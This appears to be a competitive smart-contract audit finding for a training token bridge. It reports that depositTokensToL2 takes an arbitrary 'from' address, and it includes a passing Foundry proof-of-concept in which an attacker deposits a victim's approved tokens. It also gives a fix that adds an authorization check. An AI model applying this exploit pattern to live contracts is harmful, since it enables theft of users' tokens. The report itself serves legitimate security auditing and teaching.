Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can call force deposit tokens

Summary

Vulnerability Details

The depositTokensToL2 function allows the caller to deposit funds to the vault which in turn will mint tokens in L2 for the caller. However, there is no verification on whether the owner of the tokens wants to deposit tokens into the vault.

/*
* @notice Locks tokens in the vault and emits a Deposit event
* the unlock event will trigger the L2 minting process. There are nodes listening
* for this event and will mint the corresponding tokens on L2. This is a centralized process.
*
* @param from The address of the user who is depositing tokens
* @param l2Recipient The address of the user who will receive the tokens on L2
* @param amount The amount of tokens to deposit
*/
// @audit-issue Anyone can call this function, transfering to their own address
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}

PoC

  1. Add Unit Test to L1TokenBridge.t.sol

  2. Run forge test --match-test testAnyUserCanDepositTokens

function testAnyUserCanDepositTokens() public {
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, userInL2, amount);
changePrank(attacker);
tokenBridge.depositTokensToL2(user, userInL2, amount);
assertEq(token.balanceOf(address(tokenBridge)), 0);
assertEq(token.balanceOf(address(vault)), amount);
vm.stopPrank();
}
[⠃] Solc 0.8.20 finished in 2.27s
Compiler run successful!
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testAnyUserCanDepositTokens() (gas: 77835)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.22ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Anyone can call the depositTokensToL2 regardless if they are the owner of the EOA that actually owns the tokens. This also allows owners to Rug-Pull all the tokens of the user.

Tools Used

Foundry

Recommendations

In this modified version, the function checks whether the caller (msg.sender) is the owner of the from address or is an authorized signer. If not, the function reverts with an error message.

function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
require(msg.sender == from || isAuthorized(msg.sender), "Not authorized to transfer tokens");
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}
function isAuthorized(address account) internal view returns (bool) {
return signers[account];
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.